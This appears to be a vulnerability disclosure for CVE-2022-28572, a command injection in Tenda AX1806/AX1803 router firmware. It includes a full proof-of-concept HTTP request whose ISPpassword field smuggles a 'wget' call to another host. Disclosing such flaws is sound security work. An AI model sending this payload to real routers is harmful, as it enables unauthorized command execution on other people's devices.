Headline
CVE-2022-28572: TempName/TendaAX18 at main · F0und-icu/TempName
Tenda AX1806 v1.0.0.1 was discovered to contain a command injection vulnerability in SetIPv6Status
function
Tenda AX18 v1.0.0.1 has a commend injection vulnerability****Overview
- Type: command injection vulnerability
- Vendor: Tenda (https://tenda.com.cn)
- Products: WiFi Router AX1806 v1.0.0.1 and AX1803 v1.0.0.1
- Firmware download address: https://tenda.com.cn/download/detail-3225.html
- Firmware download address: https://www.tenda.com.cn/product/download/AX1806.html
Description****1.Product Information:
Tenda AX1806 v1.0.0.1 and AX1803 v1.0.0.1 router, the latest version of simulation overview:
2. Vulnerability details
Tenda AX1806 and AX1803 was discovered to contain a command injection vulnerability in SetIPv6Status function
When we set connect type = PPPoE we will get a command injection vulnerability after login.
3. Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /goform/setIPv6Status HTTP/1.1 Host: 192.168.2.1 Connection: close Content-Length: 191 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", “Google Chrome";v="98” Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36 sec-ch-ua-platform: “macOS” Origin: https://192.168.2.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://192.168.2.1/main.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: password=edeff4d6d98974e46457a587e2e724a2ndy5gk
IPv6En=1&conType=PPPoE&ISPusername=addasdas&ISPpassword=$(wget http://192.168.2.2:9999/)&prefixDelegate=0&wanAddr=%2F&gateWay=&lanType=undefined&wanPreDNS=&wanAltDNS=&lanPrefix=undefined%2F64
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